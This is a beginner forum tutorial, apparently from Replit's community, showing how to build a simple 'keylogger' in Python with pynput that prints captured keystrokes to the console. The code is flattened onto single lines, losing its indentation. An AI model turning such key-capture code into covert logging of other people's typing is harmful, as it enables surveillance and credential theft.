Skip to content
Sign upLog in
← Back to Community

How to make a keylogger

Profile icon
antoon

How to make a keylogger

Hello everyone, today you gonna learn how to make a keylogger with pynput. The stupid thing is it doesn't work on repl.it.

Importing Pynput

First, we have to import pynput:

import pynput from pynput.keyboard import Key, Listener import os pressed_keys = [[]]

We will also need os in the future. And we're also going to create a list that stores all the pressed keys.

Add a keylistener

Now, we gonna add a keylistener:

with Listener(on_press = on_press) as listener: listener.join()

Make the on_press() function

The keylistener refers to the on_press() function and it returns the key so we can print the key.

Now it's time to make the on_press() function:

def on_press(key): if key != Key.enter and key != Key.shift and key != Key.shift_r: if key == Key.space: pressed_keys.append([]) elif key != Key.backspace: os.system("cls") pressed_keys[-1].append(key) print_keys(pressed_keys) else: try: if not len(pressed_keys[-1]): pressed_keys.pop() pressed_keys[-1].pop() except: pass

The function will not print the key when shift or enter is pressed.

When backspace is pressed it will remove the last pressed key from the pressed_keys list.

And when space is pressed, '[]' is added to the list to create a new word.

If another key is pressed, the code will add the key to the pressed_keys list and then activate the print_keys() function.

Make the print_keys() function

Let's create the print_keys() function:

def print_keys(keys): for num, x in enumerate(keys): print("{0}. ".format(num + 1), end = "") for y in x: print("{0}".format(str(y)), end = "") print("\n")

The program is ready, so let's test it.

Final Code

So, here is the final code:

import pynput from pynput.keyboard import Key, Listener import os pressed_keys = [[]] def print_keys(keys): for num, x in enumerate(keys): print("{0}. ".format(num + 1), end = "") for y in x: print("{0}".format(str(y)), end = "") print("\n") def on_press(key): if key != Key.enter and key != Key.shift and key != Key.shift_r: if key == Key.space: pressed_keys.append([]) elif key != Key.backspace: os.system("cls") pressed_keys[-1].append(key) print_keys(pressed_keys) else: try: if not len(pressed_keys[-1]): pressed_keys.pop() pressed_keys[-1].pop() except: pass os.system("cls") print_keys(pressed_keys) with Listener(on_press = on_press) as listener: listener.join()
Voters
Profile icon
BasToTheMax
Profile icon
antoon